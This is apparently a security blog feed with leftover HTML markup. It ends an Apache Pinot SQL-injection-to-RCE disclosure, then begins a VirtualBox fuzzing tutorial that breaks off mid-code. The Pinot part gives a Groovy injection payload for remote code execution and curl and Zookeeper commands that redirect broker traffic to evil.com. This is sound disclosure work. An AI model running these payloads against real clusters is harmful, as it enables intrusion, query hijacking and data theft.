class=p,/span span class=s1''/spanspan class=p),/spanspan class=s1'return 0'/spanspan class=p,/span span class=s1''/spanspan class=p),/span span class=nid/span span class=p)/span span class=o=/span span class=mi1/span /code/pre/div/div pA reverse shell is spawned only for the one row with id 489./p h2 id=use-rce-on-server-to-attack-other-nodesUse RCE on Server to Attack Other Nodes/h2 pWe have root access to a Server via our reverse shell, giving us access to:/p ul liAll the segment data stored on the Server/li liConfiguration and environment variables with the locations of other services such as Broker and Zookeeper/li liPotentially keys to the cloud environment with juicy IAM permissions/li /ul pAs we’re root here already, let’s try to use our foothold to affect other parts of the Pinot cluster such as Zookeeper, Brokers, Controllers, and other Servers./p pFirst we should check the configuration./p div class=language-plaintext highlighter-rougediv class=highlightpre [email protected]:/opt/pinot# cat /proc/1/cmdline | sed 's/\x00/ /g' /usr/local/openjdk-11/bin/java -Xms512M ... -Xlog:gc*:file=/opt/pinot/gc-pinot-server.log -Dlog4j2.configurationFile=/opt/pinot/conf/log4j2.xml -Dplugins.dir=/opt/pinot/plugins -Dplugins.dir=/opt/pinot/plugins -classpath /opt/pinot/lib/*:...:/opt/pinot/plugins/pinot-file-system/pinot-s3/pinot-s3-0.10.0-SNAPSHOT-shaded.jar -Dapp.name=pinot-admin -Dapp.pid=1 -Dapp.repo=/opt/pinot/lib -Dapp.home=/opt/pinot -Dbasedir=/opt/pinot org.apache.pinot.tools.admin.PinotAdministrator StartServer -clusterName pinot -zkAddress pinot-zookeeper:2181 -configFileName /var/pinot/server/config/pinot-server.conf /code/pre/div/div pWe have a Zookeeper address code class=language-plaintext highlighter-rouge-zkAddress pinot-zookeeper:2181/code and config file location code class=language-plaintext highlighter-rouge-configFileName /var/pinot/server/config/pinot-server.conf/code. The file contains data locations and a href=https://docs.pinot.apache.org/v/release-0.10.0/operators/tutorials/authentication-authorization-and-aclsauth tokens/a in the unlikely event that internal cluster authentication has been enabled./p h3 class=no_toc id=zookeeper-1Zookeeper/h3 pIt is likely that the locations of other services are available as environment variables, however the source of truth is Zookeeper. Nodes must be able to read and write to Zookeeper to update their status./p div class=language-plaintext highlighter-rougediv class=highlightpre [email protected]:/opt/pinot# cd /tmp [email protected]:/tmp# wget -q https://dlcdn.apache.org/zookeeper/zookeeper-3.8.0/apache-zookeeper-3.8.0-bin.tar.gz amp;amp; tar xzf apache-zookeeper-3.8.0-bin.tar.gz [email protected]:/tmp# ./apache-zookeeper-3.8.0-bin/bin/zkCli.sh -server pinot-zookeeper:2181 Connecting to pinot-zookeeper:2181 ... 2022-06-06 20:53:52,385 [myid:pinot-zookeeper:2181] - INFO [main-SendThread(pinot-zookeeper:2181):[email protected]] - Session establishment complete on server pinot-zookeeper/10.103.140.149:2181, session id = 0x10000046bac0016, negotiated timeout = 30000 ... [zk: pinot-zookeeper:2181(CONNECTED) 0] ls /pinot/CONFIGS/PARTICIPANT [Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099, Controller_pinot-controller-0.pinot-controller-headless.pinot-quickstart.svc.cluster.local_9000, Minion_pinot-minion-0.pinot-minion-headless.pinot-quickstart.svc.cluster.local_9514, Server_pinot-server-0.pinot-server-headless.pinot-quickstart.svc.cluster.local_8098, Server_pinot-server-1.pinot-server-headless.pinot-quickstart.svc.cluster.local_8098] /code/pre/div/div pNow we have the list of “participants” in our Pinot cluster. We can code class=language-plaintext highlighter-rougeget/code the configuration of a Broker:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode[zk: pinot-zookeeper:2181(CONNECTED) 1] get /pinot/CONFIGS/PARTICIPANT/Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099 { id : Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099, simpleFields : { HELIX_ENABLED : true, HELIX_ENABLED_TIMESTAMP : 1654547467392, HELIX_HOST : pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local, HELIX_PORT : 8099 }, mapFields : { }, listFields : { TAG_LIST : [ DefaultTenant_BROKER ] } } /code/pre/div/div pBy modifying the broker code class=language-plaintext highlighter-rougeHELIX_HOST/code in Zookeeper (using code class=language-plaintext highlighter-rougeset/code), Pinot queries will be sent via HTTP POST to code class=language-plaintext highlighter-rouge/query/sql/code on a machine you control rather than the real broker. You can then reply with your own results. While powerful, this is a rather disruptive attack./p pIn further mitigation, it will not affect services which send requests directly to a hardcoded Broker address. Many clients do rely on Zookeeper or the Controller to locate the broker, and these clients will be affected. We have not investigated whether intra-cluster mutual TLS would downgrade this attack to DoS./p h3 class=no_toc id=broker-1Broker/h3 pWe discovered the location of the broker. Its code class=language-plaintext highlighter-rougeHELIX_PORT/code refers to the an HTTP server used for submitting SQL queries:/p div class=language-bash highlighter-rougediv class=highlightpre class=highlightcodecurl span class=nt-H/span span class=s2Content-Type: application/json/span span class=nt-X/span POST span class=se\/span span class=nt-d/span span class=s1'{sql:SELECT X FROM Y}'/span span class=se\/span http://pinot-broker-0:8099/query/sql /code/pre/div/div pSending queries directly to the broker may be much easier than via the SQLi endpoint. Note that the broker may have basic auth enabled, but as with all Pinot services it is disabled by default./p pAll Pinot REST services also have an code class=language-plaintext highlighter-rouge/appconfigs/code endpoint returning configuration, environment variables and java versions./p h3 class=no_toc id=other-serversOther Servers/h3 pThere may be data which is only present on other Servers. From your reverse shell, SQL queries can be sent to any other Server via GRPC without requiring authentication./p pAlternatively, we can go back and use Pinot’s a href=https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/filtering-with-idsetIdSet subquery functionality/a to get shells on other Servers. We do this by injecting an code class=language-plaintext highlighter-rougeIN_SUBQUERY(columnName, subQuery)/code filter into our original query to code class=language-plaintext highlighter-rougetableA/code to produce SQL like:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=ntableA/span span class=kWHERE/span span class=nIN_SUBQUERY/spanspan class=p(/span span class=s1'x'/spanspan class=p,/span span class=s1'SELECT ID_SET(firstName) FROM tableB WHERE groovy(/spanspan class=se''/spanspan class=s1{returnType:INT,isSingleValue:true}/spanspan class=se''/spanspan class=s1,/spanspan class=se''/spanspan class=s1println RCE;return 3/spanspan class=se''/spanspan class=s1, studentID)=3'/span span class=p)/span span class=o=/span span class=ktrue/span /code/pre/div/div pIt is important that the code class=language-plaintext highlighter-rougetableA/code column name (here the literal code class=language-plaintext highlighter-rouge'x'/code) and the code class=language-plaintext highlighter-rougeID_SET/code column of the subquery have the same type. If an integer column from code class=language-plaintext highlighter-rougetableB/code is used instead of code class=language-plaintext highlighter-rougefirstName/code, the code class=language-plaintext highlighter-rouge'x'/code must be replaced with an integer./p pWe now get RCE on the Servers holding segments of code class=language-plaintext highlighter-rougetableB/code./p h3 class=no_toc id=controller-1Controller/h3 pThe Controller also has a useful REST API./p pIt has methods for getting and setting data such as cluster configuration, table schemas, instance information and segment data./p pIt can be used to interact with Zookeeper e.g. to update the broker host like was done directly via Zookeeper above./p div class=language-bash highlighter-rougediv class=highlightpre class=highlightcodecurl span class=nt-X/span PUT span class=s2http://localhost:9000/instances/Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099?updateBrokerResource=true/span span class=nt-H/span span class=s2accept: application/json/span span class=nt-H/span span class=s2Content-Type: application/json/span span class=nt-d/span span class=s2{ /spanspan class=se\/spanspan class=s2instanceName/spanspan class=se\/spanspan class=s2: /spanspan class=se\/spanspan class=s2Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099/spanspan class=se\/spanspan class=s2, /spanspan class=se\/spanspan class=s2host/spanspan class=se\/spanspan class=s2: /spanspan class=se\/spanspan class=s2evil.com/spanspan class=se\/spanspan class=s2, /spanspan class=se\/spanspan class=s2enabled/spanspan class=se\/spanspan class=s2: true, /spanspan class=se\/spanspan class=s2port/spanspan class=se\/spanspan class=s2: /spanspan class=se\/spanspan class=s28099/spanspan class=se\/spanspan class=s2, /spanspan class=se\/spanspan class=s2tags/spanspan class=se\/spanspan class=s2: [/spanspan class=se\/spanspan class=s2DefaultTenant_BROKER/spanspan class=se\/spanspan class=s2], /spanspan class=se\/spanspan class=s2type/spanspan class=se\/spanspan class=s2:/spanspan class=se\/spanspan class=s2BROKER/spanspan class=se\/spanspan class=s2, /spanspan class=se\/spanspan class=s2pools/spanspan class=se\/spanspan class=s2: null, /spanspan class=se\/spanspan class=s2grpcPort/spanspan class=se\/spanspan class=s2: -1, /spanspan class=se\/spanspan class=s2adminPort/spanspan class=se\/spanspan class=s2: -1, /spanspan class=se\/spanspan class=s2systemResourceInfo/spanspan class=se\/spanspan class=s2: null}/span /code/pre/div/div pFiles can also be uploaded for ingestion into tables./p h2 id=tldrTLDR/h2 ul liPinot is a modern database platform that can be attacked with old-school SQLi/li liSQL injection leads to Remote Code Execution by default in the latest release, at the time of writing/li liIn the official container images, RCE means root on the Server component of the Pinot cluster/li liFrom here, other components can be affected to a certain degree/li liWTF is going on with code class=language-plaintext highlighter-rougeOPTION()/code?/li liPinot is under active development. Maturity will bring security improvements/li liIn an upcoming release (gt;0.10.0) the SQLi to RCE footgun will be opt-in/li /ul

Introduction to VirtualBox security research

25 April 2022 at 22:00
h2 id=introductionIntroduction/h2 pThis article introduces VirtualBox research and explains how to build a coverage-based fuzzer, focusing on the emulated network device drivers. In the examples below, we explain how to create a harness for the non-default network device driver emPCNet/em. The example can be readily adjusted for a different network driver or even different device driver components./p pWe are aware that there are excellent resources related to this topic - see [1], [2]. However, these cover the fuzzing process from a high-level perspective or omit some important technical details. Our goal is to present all the necessary steps and code required to instrument and debug the latest a href=https://download.virtualbox.org/virtualbox/LATEST-STABLE.TXTstable/a version of VirtualBox (6.1.30 at the time of writing). As the SVN version is out-of-sync, we download the a href=https://download.virtualbox.org/virtualboxtarball/a instead./p pIn our setup, we use Ubuntu 20.04.3 LTS. As the VT-x/AMD-V feature is not fully supported for VirtualBox, we use a native host. When using a MacBook, the following a href=https://florisvanbreugel.wordpress.com/2018/03/23/installing-ubuntu-on-an-external-ssd-drive-on-a-macbook/guide/a enables a Linux installation to an external SSD./p pVirtualBox uses the a href=https://www.virtualbox.org/wiki/kBuildkBuild/a framework for building. As mentioned on their page, only a few (0.5) people on our planet understand it, but editing makefiles should be straightforward. As we will see later, after commenting out hardware-specific components, that’s indeed true./p pemkmk/em is a kBuild alternative for the emmake/em subsystem. It allows creating debug or release builds, depending on the supplied arguments. The debug build provides a robust logging mechanism, which we will describe next./p pNote that in this article, we will use three different builds. The remaining two release builds are for fuzzing and coverage reporting. Because they involve modifying the source code, we use a separate directory for every instance./p h2 id=debug-buildDebug Build/h2 pThe build instructions for Linux are described a href=https://www.virtualbox.org/wiki/Linux%20build%20instructionshere/a. After installing all required dependencies, it’s enough to run the following commands:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ ./configure --disable-hardening --disable-docs $ source ./env.sh amp;amp; kmk KBUILD_TYPE=debug /code/pre/div/div pIf successful, the binary code class=language-plaintext highlighter-rougeVirtualBox/code from the code class=language-plaintext highlighter-rougeout/linux.amd64/debug/bin/VirtualBox/code directory will be created. Before creating our first guest host, we have to compile and load the kernel modules:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ VERSION=6.1.30 $ vbox_dir=~/VirtualBox-$VERSION-debug/ $ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxdrv amp;amp; sudo make amp;amp; sudo insmod vboxdrv.ko) $ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxnetflt amp;amp; sudo make amp;amp; sudo insmod vboxnetflt.ko) $ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxnetadp amp;amp; sudo make amp;amp; sudo insmod vboxnetadp.ko) /code/pre/div/div pVirtualBox defines the code class=language-plaintext highlighter-rougeVBOXLOGGROUP/code enum inside code class=language-plaintext highlighter-rougeinclude/VBox/log.h/code, allowing to selectively enable the logging of specific files or functionalities. Unfortunately, since the logging is intended for the debug builds, we could not enable this functionality in the release build without making many cumbersome changes./p pUnlike the code class=language-plaintext highlighter-rougeVirtualBox/code binary, the code class=language-plaintext highlighter-rougeVBoxHeadless/code startup utility located in the same directory allows running the machines directly from the command-line interface. For illustration, we want to enable debugging for both this component and the PCNet network driver. First, we have to identify the entries of the code class=language-plaintext highlighter-rougeVBOXLOGGROUP/code. They are defined using the code class=language-plaintext highlighter-rougeLOG_GROUP_/code string near the beginning of the file we wish to trace:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ grep LOG_GROUP_ src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp src/VBox/Devices/Network/DevPCNet.cpp src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp:#define LOG_GROUP LOG_GROUP_GUI src/VBox/Devices/Network/DevPCNet.cpp:#define LOG_GROUP LOG_GROUP_DEV_PCNET /code/pre/div/div pWe redirect the output to the terminal instead of creating log files and specify the emLog Group/em name, using the lowercased string from the grep output and without the prefix:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ export VBOX_LOG_DEST=nofile stdout $ VBOX_LOG=+gui.e.l.f+dev_pcnet.e.l.f.l2 out/linux.amd64/debug/bin/VBoxHeadless -startvm vm-test /code/pre/div/div pThe VirtualBox logging facility and the meaning of all parameters are clarified a href=https://www.virtualbox.org/wiki/VBoxLogginghere/a. The output is easy to grep, and it’s crucial for understanding the internal structures./p h2 id=afl-instrumentation-for-afl-clang-fast--afl-clang-fastAFL instrumentation for afl-clang-fast / afl-clang-fast++/h2 h3 id=installing-clangInstalling Clang/h3 pFor Ubuntu, we can follow the official a href=https://apt.llvm.org/instructions/a to install the Clang compiler. We used code class=language-plaintext highlighter-rougeclang-12/code, because building was not possible with the previous version. Alternatively, code class=language-plaintext highlighter-rougeclang-13/code is supported too. After we are done, it is useful to verify the installation and create symlinks to ensure a href=https://github.com/AFLplusplus/AFLplusplusAFLplusplus/a will not complain about missing locations:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ rehash $ clang --version $ clang++ --version $ llvm-config --version $ llvm-ar --version $ sudo ln -sf /usr/bin/llvm-config-12 /usr/bin/llvm-config $ sudo ln -sf /usr/bin/clang++-12 /usr/bin/clang++ $ sudo ln -sf /usr/bin/clang-12 /usr/bin/clang $ sudo ln -sf /usr/bin/llvm-ar-12 /usr/bin/llvm-ar /code/pre/div/div h3 id=building-aflplusplus-aflBuilding AFLplusplus (AFL++)/h3 pOur fuzzer of choice was AFL++, although everything can be trivially reproduced with a href=https://llvm.org/docs/LibFuzzer.htmllibFuzzer/a too. Since we don’t need the black box instrumentation, it’s enough to include the code class=language-plaintext highlighter-rougesource-only/code parts:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ git clone https://github.com/AFLplusplus/AFLplusplus $ cd AFLplusplus # use this revision if the VirtualBox compilation fails $ git checkout 66ca8618ea3ae1506c96a38ef41b5f04387ab560 $ make source-only $ sudo make install /code/pre/div/div h3 id=applying-patchesApplying patches/h3 pTo use clang for fuzzing, it’s necessary to create a new template code class=language-plaintext highlighter-rougekBuild/tools/AFL.kmk/code by using the code class=language-plaintext highlighter-rougevbox-fuzz/AFL.kmk/code file, available on a href=https://github.com/doyensec/vbox-fuzzhttps://github.com/doyensec/vbox-fuzz/a./p pMoreover, we have to fix multiple issues related to undefined symbols or different commentary styles. The most important change is disabling the instrumentation for Ring-0 components (code class=language-plaintext highlighter-rougeTEMPLATE_VBoxR0_TOOL/code). Otherwise it’s not possible to boot the guest machine. All these changes are included in the patch files./p pInterestingly, when I was investigating the error message I obtained during the failed compilation, I found some recent a href=https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20Discovering%2010+%20Vulnerabilities%20in%20Virtualbox%20-%20Chen%20Nan.pdfslides/a from the HITB conference describing exactly the same issue. This was a confirmation that I was on the right track, and more people were trying the same approach. The slides also mention code class=language-plaintext highlighter-rougeVBoxHeadless,/code which was a natural choice for a harness, that we used too./p pIf the unmodified VirtualBox is located inside the code class=language-plaintext highlighter-rouge~/VirtualBox-6.1.30-release-afl/code directory, we run these commands to apply all necessary patches:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ TO_PATCH=6.1.30 $ SRC_PATCH=6.1.30 $ cd ~/VirtualBox-$TO_PATCH-release-afl $ patch -p1 lt; ~/vbox-fuzz/$SRC_PATCH/Config.patch $ patch -p1 lt; ~/vbox-fuzz/$SRC_PATCH/undefined_xfree86.patch $ patch -p1 lt; ~/vbox-fuzz/$SRC_PATCH/DevVGA-SVGA3d-glLdr.patch $ patch -p1 lt; ~/vbox-fuzz/$SRC_PATCH/VBoxDTraceLibCWrappers.patch $ patch -p1 lt; ~/vbox-fuzz/$SRC_PATCH/os_Linux_x86_64.patch /code/pre/div/div pRunning code class=language-plaintext highlighter-rougekmk/code without code class=language-plaintext highlighter-rougeKBUILD_TYPE/code yields instrumented binaries, where the device drivers are bundled inside code class=language-plaintext highlighter-rougeVBoxDD.so/code shared object. The output from code class=language-plaintext highlighter-rougenm/code confirms the presence of the instrumentation symbols:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ nm out/linux.amd64/release/bin/VBoxDD.so | egrep afl|sancov U __afl_area_ptr U __afl_coverage_discard U __afl_coverage_off U __afl_coverage_on U __afl_coverage_skip 000000000033e124 d __afl_selective_coverage 0000000000028030 t sancov.module_ctor_trace_pc_guard 000000000033f5a0 d __start___sancov_guards 000000000036f158 d __stop___sancov_guards /code/pre/div/div h2 id=creating-coverage-reportsCreating Coverage Reports/h2 pFirst, we have to apply the patches for AFL, described in the previous section. After that, we copy the instrumented version and remove the earlier compiled binaries if they are present:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ VERSION=6.1.30 $ cp -r ~/VirtualBox-$VERSION-release-afl ~/VirtualBox-$VERSION-release-afl-gcov $ cd ~/VirtualBox-$VERSION-release-afl-gcov $ rm -rf out /code/pre/div/div pNow we have to edit the code class=language-plaintext highlighter-rougekBuild/tools/AFL.kmk/code template to append code class=language-plaintext highlighter-rouge-fprofile-instr-generate -fcoverage-mapping/code switches as follows:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeTOOL_AFL_CC ?= afl-clang-fast$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping TOOL_AFL_CXX ?= afl-clang-fast++$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping TOOL_AFL_AS ?= afl-clang-fast$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping TOOL_AFL_LD ?= afl-clang-fast++$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping /code/pre/div/div pTo avoid duplication, we share the code class=language-plaintext highlighter-rougesrc/code and code class=language-plaintext highlighter-rougeinclude/code folders with the fuzzing build:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ rm -rf ./src $ rm -rf ./include $ ln -s ../VirtualBox-$VERSION-release-afl/src $PWD/src $ ln -s ../VirtualBox-$VERSION-release-afl/include $PWD/include /code/pre/div/div pLastly, we expand the list of undefined symbols inside code class=language-plaintext highlighter-rougesrc/VBox/Additions/x11/undefined_xfree86/code by adding:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeftell uname strerror mkdir __cxa_atexit fclose fileno fdopen strrchr fseek fopen ftello prctl strtol getpid mmap getpagesize strdup /code/pre/div/div pFurthermore, because this build is intended for reporting only, we disable all unnecessary features:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ ./configure --disable-hardening --disable-docs --disable-java --disable-qt $ source ./env.sh amp;amp; kmk /code/pre/div/div pThe raw profile is generated by setting code class=language-plaintext highlighter-rougeLLVM_PROFILE_FILE/code. For more information, the a href=https://releases.llvm.org/12.0.0/tools/clang/docs/SourceBasedCodeCoverage.htmlClang documentation/a provides the necessary details./p h2 id=writing-a-harnessWriting a harness/h2 h3 id=getting-pvmGetting pVM/h3 pAt this point, the VirtualBox drivers are fully instrumented, and the only remaining thing left before we start fuzzing is a harness. The PCNet device driver is defined in code class=language-plaintext highlighter-rougesrc/VBox/Devices/Network/DevPCNet.cpp/code, and it exports several functions. Our output is truncated to include only R3 components, as these are the ones we are targeting:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=cm/** * The device registration structure. *//span span class=kconst/span span class=nPDMDEVREG/span span class=ng_DevicePCNet/span span class=o=/span span class=p{/span span class=cm/* .u32Version = *//span span class=nPDM_DEVREG_VERSION/spanspan class=p,/span span class=cm/* .uReserved0 = *//span span class=mi0/spanspan class=p,/span span class=cm/* .szName = *//span span class=spcnet/spanspan class=p,/span span class=cp#ifdef PCNET_GC_ENABLED /span span class=cm/* .fFlags = *//span span class=nPDM_DEVREG_FLAGS_DEFAULT_BITS/span span class=o|/span span class=nPDM_DEVREG_FLAGS_RZ/span span class=o|/span span class=nPDM_DEVREG_FLAGS_NEW_STYLE/spanspan class=p,/span span class=cp#else /span span class=cm/* .fFlags = *//span span class=nPDM_DEVREG_FLAGS_DEFAULT_BITS/spanspan class=p,/span span class=cp#endif /span span class=cm/* .fClass = *//span span class=nPDM_DEVREG_CLASS_NETWORK/spanspan class=p,/span span class=cm/* .cMaxInstances = *//span span class=o~/spanspan class=mi0U/spanspan class=p,/span span class=cm/* .uSharedVersion = *//span span class=mi42/spanspan class=p,/span span class=cm/* .cbInstanceShared = *//span span class=ksizeof/spanspan class=p(/spanspan class=nPCNETSTATE/spanspan class=p),/span span class=cm/* .cbInstanceCC = *//span span class=ksizeof/spanspan class=p(/spanspan class=nPCNETSTATECC/spanspan class=p),/span span class=cm/* .cbInstanceRC = *//span span class=ksizeof/spanspan class=p(/spanspan class=nPCNETSTATERC/spanspan class=p),/span span class=cm/* .cMaxPciDevices = *//span span class=mi1/spanspan class=p,/span span class=cm/* .cMaxMsixVectors = *//span span class=mi0/spanspan class=p,/span span class=cm/* .pszDescription = *//span span class=sAMD PCnet Ethernet controller./spanspan class=se\n/spanspan class=s/spanspan class=p,/span span class=cp#if defined(IN_RING3) /span span class=cm/* .pszRCMod = *//span span class=sVBoxDDRC.rc/spanspan class=p,/span span class=cm/* .pszR0Mod = *//span span class=sVBoxDDR0.r0/spanspan class=p,/span span class=cm/* .pfnConstruct = *//span span class=npcnetR3Construct/spanspan class=p,/span span class=cm/* .pfnDestruct = *//span span class=npcnetR3Destruct/spanspan class=p,/span span class=cm/* .pfnRelocate = *//span span class=npcnetR3Relocate/spanspan class=p,/span span class=cm/* .pfnMemSetup = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnPowerOn = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReset = *//span span class=npcnetR3Reset/spanspan class=p,/span span class=cm/* .pfnSuspend = *//span span class=npcnetR3Suspend/spanspan class=p,/span span class=cm/* .pfnResume = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnAttach = *//span span class=npcnetR3Attach/spanspan class=p,/span span class=cm/* .pfnDetach = *//span span class=npcnetR3Detach/spanspan class=p,/span span class=cm/* .pfnQueryInterface = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnInitComplete = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnPowerOff = *//span span class=npcnetR3PowerOff/spanspan class=p,/span span class=cm/* .pfnSoftReset = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved0 = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved1 = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved2 = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved3 = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved4 = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved5 = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved6 = *//span span class=nbNULL/spanspan class=p,/span span class=cm/* .pfnReserved7 = *//span span class=nbNULL/spanspan class=p,/span span class=cp#elif defined(IN_RING0) /spanspan class=c1// [ SNIP ]/span /code/pre/div/div pThe most interesting fields are code class=language-plaintext highlighter-rouge.pfnReset,/code which resets the driver’s state, and the code class=language-plaintext highlighter-rouge.pfnReserved/code functions. The latter ones are currently not used, but we can add our own functions and call them, by modifying the PDM (Pluggable Device Manager) header files. PDM is an abstract interface used to add new virtual devices relatively easily./p pBut first, if we want to use the modified code class=language-plaintext highlighter-rougeVboxHeadless/code, which provides a high-level interface (a href=https://www.virtualbox.org/sdkref/annotated.htmlVirtualBox Main API/a) to the VirtualBox functionality, we need to find a way to access the code class=language-plaintext highlighter-rougepdm/code structure./p pBy reading the source code, we can see multiple patterns where code class=language-plaintext highlighter-rougepVM/code (pointer to a VM handle) is dereferenced to traverse a linked list with all device instances:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=c1// src/VBox/VMM/VMMR3/PDMDevice.cpp/span span class=kfor/span span class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/span span class=o=/span span class=npVM/spanspan class=o-gt;/spanspan class=npdm/spanspan class=p./spanspan class=ns/spanspan class=p./spanspan class=npDevInstances/spanspan class=p;/span span class=npDevIns/spanspan class=p;/span span class=npDevIns/span span class=o=/span span class=npDevIns/spanspan class=o-gt;/spanspan class=nInternal/spanspan class=p./spanspan class=ns/spanspan class=p./spanspan class=npNextR3/spanspan class=p)/span span class=p{/span span class=c1// [ SNIP ]/span span class=p}/span /code/pre/div/div pThe VirtualBox Main API on non-Windows platforms uses Mozilla a href=https://en.wikipedia.org/wiki/XPCOMXPCOM/a. So we wanted to find out if we could leverage it to access the low-level structures. After some digging, we found out that indeed it’s possible to retrieve the VM handle via the code class=language-plaintext highlighter-rougeIMachineDebugger/code class:/p pimg src=../../../public/images/vbox-imachinedebugger.png width=750 alt=IMachineDebugger VM align=center //p pWith that, the following snippet of code demonstrates how to access code class=language-plaintext highlighter-rougepVM/code:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=nLONG64/span span class=nllVM/spanspan class=p;/span span class=nHRESULT/span span class=nhrc/span span class=o=/span span class=nmachineDebugger/spanspan class=o-gt;/spanspan class=nCOMGETTER/spanspan class=p(/spanspan class=nVM/spanspan class=p)(/spanspan class=oamp;/spanspan class=nllVM/spanspan class=p);/span span class=nPUVM/span span class=npUVM/span span class=o=/span span class=p(/spanspan class=nPUVM/spanspan class=p)(/spanspan class=ktintptr_t/spanspan class=p)/spanspan class=nllVM/spanspan class=p;/span span class=cm/* The user mode VM handle *//span span class=nPVM/span span class=npVM/span span class=o=/span span class=npUVM/spanspan class=o-gt;/spanspan class=npVM/spanspan class=p;/span /code/pre/div/div pAfter obtaining the pointer to the VM, we have to change the build scripts again, allowing code class=language-plaintext highlighter-rougeVboxHeadless/code to access internal PDM definitions from code class=language-plaintext highlighter-rougeVBoxHeadless.cpp/code./p pWe tried to minimize the amount of changes and after some experimentation, we came up with the following steps:/p p1) Create a new file called code class=language-plaintext highlighter-rougesrc/VBox/Frontends/Common/harness.h/code with this content:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=cm/* without this, include/VBox/vmm/pdmtask.h does not import PDMTASKTYPE enum *//span span class=cp#define VBOX_IN_VMM 1 /span span class=cp#include PDMInternal.h /span span class=cm/* needed by machineDebugger COM VM getter *//span span class=cp#include lt;VBox/vmm/vm.hgt; #include lt;VBox/vmm/uvm.hgt; /span span class=cm/* needed by AFL *//span span class=cp#include lt;unistd.hgt; /span/code/pre/div/div p2) Modify the code class=language-plaintext highlighter-rougesrc/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp/code file by adding the following code just before the event loop starts, near the end of the file:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcode span class=nLogRel/spanspan class=p((/spanspan class=sVBoxHeadless: failed to start windows message monitor: %Rrc/spanspan class=se\n/spanspan class=s/spanspan class=p,/span span class=nirc/spanspan class=p));/span span class=cp#endif /spanspan class=cm/* RT_OS_WINDOWS *//spanspan class=cp /span span class=cm/* --------------- BEGIN --------------- *//span span class=nLONG64/span span class=nllVM/spanspan class=p;/span span class=nHRESULT/span span class=nhrc/span span class=o=/span span class=nmachineDebugger/spanspan class=o-gt;/spanspan class=nCOMGETTER/spanspan class=p(/spanspan class=nVM/spanspan class=p)(/spanspan class=oamp;/spanspan class=nllVM/spanspan class=p);/span span class=nPUVM/span span class=npUVM/span span class=o=/span span class=p(/spanspan class=nPUVM/spanspan class=p)(/spanspan class=ktintptr_t/spanspan class=p)/spanspan class=nllVM/spanspan class=p;/span span class=cm/* The user mode VM handle *//span span class=nPVM/span span class=npVM/span span class=o=/span span class=npUVM/spanspan class=o-gt;/spanspan class=npVM/spanspan class=p;/span span class=kif/span span class=p(/spanspan class=nSUCCEEDED/spanspan class=p(/spanspan class=nhrc/spanspan class=p))/span span class=p{/span span class=nPUVM/span span class=npUVM/span span class=o=/span span class=p(/spanspan class=nPUVM/spanspan class=p)(/spanspan class=ktintptr_t/spanspan class=p)/spanspan class=nllVM/spanspan class=p;/span span class=cm/* The user mode VM handle *//span span class=nPVM/span span class=npVM/span span class=o=/span span class=npUVM/spanspan class=o-gt;/spanspan class=npVM/spanspan class=p;/span span class=kfor/span span class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/span span class=o=/span span class=npVM/spanspan class=o-gt;/spanspan class=npdm/spanspan class=p./spanspan class=ns/spanspan class=p./spanspan class=npDevInstances/spanspan class=p;/span span class=npDevIns/spanspan class=p;/span span class=npDevIns/span span class=o=/span span class=npDevIns/spanspan class=o-gt;/spanspan class=nInternal/spanspan class=p./spanspan 